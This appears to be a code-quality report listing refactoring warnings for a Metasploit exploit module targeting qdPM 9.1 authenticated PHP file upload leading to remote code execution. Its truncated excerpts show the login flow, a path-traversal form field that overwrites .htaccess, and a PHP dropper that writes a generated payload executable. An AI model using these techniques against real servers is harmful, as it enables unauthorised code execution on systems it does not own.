rapid7/metasploit-framework

Method upload_php has 66 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    email = opts['email']

File qdpm_authenticated_rce.rb has 256 lines of code (exceeds 250 allowed). Consider refactoring.

Open

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

Method initialize has 52 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',

Method login has 44 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def login(base, username, password)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'keep_cookies' => true

Method exploit has 35 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def exploit
    uri = normalize_uri(target_uri.path)
    user = datastore['EMAIL']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")

Similar blocks of code found in 2 locations. Consider refactoring.

Open

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },

• Read up
  Read up

Similar blocks of code found in 2 locations. Consider refactoring.

Open

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },

• Read up
  Read up

Similar blocks of code found in 3 locations. Consider refactoring.

Open

  def get_write_exec_payload_win(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,

• Read up
  Read up